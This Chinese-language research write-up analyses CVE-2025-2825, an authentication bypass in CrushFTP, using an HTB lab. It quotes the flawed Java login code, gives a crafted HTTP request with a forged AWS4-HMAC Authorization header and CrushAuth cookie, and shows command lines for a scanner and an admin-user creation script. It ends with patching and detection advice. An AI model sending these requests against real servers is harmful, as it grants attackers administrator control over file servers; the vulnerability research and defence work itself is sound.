
对于CVE-2025-2825(CrushFTP中的认证绕过漏洞)的详细分析和PoC利用代码。包含nuclei模板、多线程扫描器以及用于渗透测试的用户创建脚本。
本文档展示了对影响 CrushFTP 服务器端的漏洞 CVE-2025-2825 的研究——CrushFTP是一个用于文件传输和存储的商业解决方案(支持FTP、SFTP、HTTP/S、类S3接口等)。
该缺陷被归类为 认证绕过,允许远程未认证攻击者获得管理员权限。成功利用可获得 crushadmin 权限,浏览和修改文件,管理用户账户,并通过 CrushFTP 的 Web 界面和 API 执行管理操作。
报告的受影响版本(根据公开的安全公告和研究人员报告):
⚠️ 注:部分出版物中存在 CVE 标识符的重复和重叠(例如 CVE-2025-31161)。
逐步分析漏洞并展示完整的研究周期,包括:
根据公开报告,该漏洞具有严重风险:
具有以下特征的实例非常重要:
CrushFTP(任何带有 Web 界面的版本)。CrushFTP 实现了对类 S3 API 的支持。认证使用如下格式的 Authorization 头:
Authorization: AWS4-HMAC-SHA256 Credential=<AccessKey>/<Date>/<Region>/s3/aws4_request, SignedHeaders=<Headers>, Signature=<Signature>
服务器从 Credential 中提取 AccessKey,并应验证签名。然而,在处理 lookup_user_pass 标志时代码中出现了一个错误。
// ServerSessionHTTP.java, метод loginCheckHeaderAuth()
if (this.headerLookup.containsKey("AUTHORIZATION") &&
this.headerLookup.getProperty("AUTHORIZATION").trim().startsWith("AWS4-HMAC")) {
boolean lookup_user_pass = true; // ← критическая ошибка
if (s3_username3.indexOf("~") >= 0) {
user_pass = user_name.substring(user_name.indexOf("~") + 1);
user_name = user_name.substring(0, user_name.indexOf("~"));
lookup_user_pass = false;
}
if (this.thisSession.login_user_pass(
lookup_user_pass,
false,
user_name,
lookup_user_pass ? "" : user_pass)) {
// Успешная аутентификация
}
}
lookup_user_pass 标志直接作为 anyPass 传递:if (anyPass && user.getProperty("username").equalsIgnoreCase(the_user)) {
return user; // аутентификация без проверки пароля
}
因此:
在 11.3.1 及更高版本中,开发者:
s3_auth_lookup_password_supported 参数(默认 false),阻止了漏洞场景。lookup_user_pass 替换为 anyPass 的问题。s3_auth_lookup_password_supported 的临时解决方案。利用 CVE-2025-2825 相当简单,不需要复杂的准备。攻击者只需发送一个特制的 HTTP 请求,其中包含两个关键元素:
Authorization 头,包含正确的现有用户名(Credential 字段中的 AccessKey/username)。CrushAuth Cookie 以及 URL/请求体中的 c2f 参数,它们的值逻辑上对应(cookie 格式必须符合服务器预期的结构)。如果服务器易受攻击(版本在 10.0.0—10.8.3 或 11.0.0—11.3.0 范围内,且未应用修复补丁),这种组合会迫使身份验证处理器进入易受攻击的路径,其中密码查找标志 (lookup_user_pass) 被解释为“任何密码都允许”,用户仅凭用户名即可通过身份验证,无需密码检查。
重要提示: 利用此漏洞通常需要发送两个连续的请求。第一个请求(所谓的“预热”请求)会触发服务器上的易受攻击的认证过程。服务器进入所需状态的典型标志是收到
502 Bad Gateway错误或简单的超时(timeout)。之后立即发送第二个(主要)请求,在服务器处于易受攻击状态时执行有效操作(例如创建用户)。
GET /WebInterface/function/?command=getUserList&serverGroup=MainUsers&c2f=1111 HTTP/1.1
Host: target-server:8080
Cookie: CrushAuth=1743113839553_vD96EZ70ONL6xAd1DAJhXMZYMn1111
Authorization: AWS4-HMAC-SHA256 Credential=crushadmin/
为了测试,我使用了最近在 HTB 上发布的实验室——Soulmate,那里需要利用 CrushFTP。

由于此漏洞,可以使用 setUserItem 命令添加具有管理员权限的新用户。为此,请运行 new_user.py
python3 new_user.py --target_host http://ftp.soulmate.htb/ --port 80 --target_user crushadmin --new_user literide --password literide
解析 Authorization 头: 当服务器看到 S3 类似格式的授权头(AWS4-HMAC...)时,它会从 Credential 字段中提取客户端标识符(AccessKey / username)。此时,服务器获得一个它认为是用户名的字符串——这是后续在认证逻辑中使用的标识值。
lookup_user_pass 标志及其作用: 代码中有一个布尔标志 lookup_user_pass,它应该指示在验证时从哪里获取密码:
标志在调用链中的传递:
大致路径:ServerSessionHTTP.loginCheckHeaderAuth() → Session.login_user_pass(...) → UserTools.ut.verify_user(...)。入口处标志设置行为,而在 verify_user 中,如果用户名匹配,它会导致在不比较密码的情况下提前返回找到的用户对象。这便绕过了身份验证——服务器通过用户名“识别”用户并将其视为已认证。
辅助元素 (cookie / c2f):
在公开分析中提到,处理程序期望正确的 cookie/参数格式,以便将请求与会话/上下文匹配。然而,关键缺陷确实在于 lookup_user_pass 处理中的逻辑错误;其他元素仅帮助请求通过标准处理分支。
关键原因
Credential 的简化解析相结合,导致只需存在有效的用户名即可获取用户凭据而无需密码检查。被动模板: 由于大多数 Web 服务中无法确定 CrushFTP 的确切版本,因此该模板仅检查服务是否使用 CrushFTP。
最好与主动模板结合使用
主动模板:
主动模板检查是否可能执行 getUserList 命令。

多线程脚本 脚本的工作方式与主动模板类似,但速度更快,并支持同时检查多个主机。
python3 scan.py -t http://ftp.soulmate.htb/ -p 80 -u crushadmin

为了降低与 CVE-2025-31161 相关的风险,建议采取以下步骤:
立即更新:
应用临时解决方案(如果无法更新):
s3_auth_lookup_password_supported 参数设置为 false。这将在不更新整个产品的情况下禁用易受攻击的身份验证逻辑。风险补偿措施:
Authorization 头中包含 AWS4-HMAC-SHA256 的可疑请求,尤其是在未使用 S3 集成的情况下。Authorization 头访问非 S3 API 端点的请求。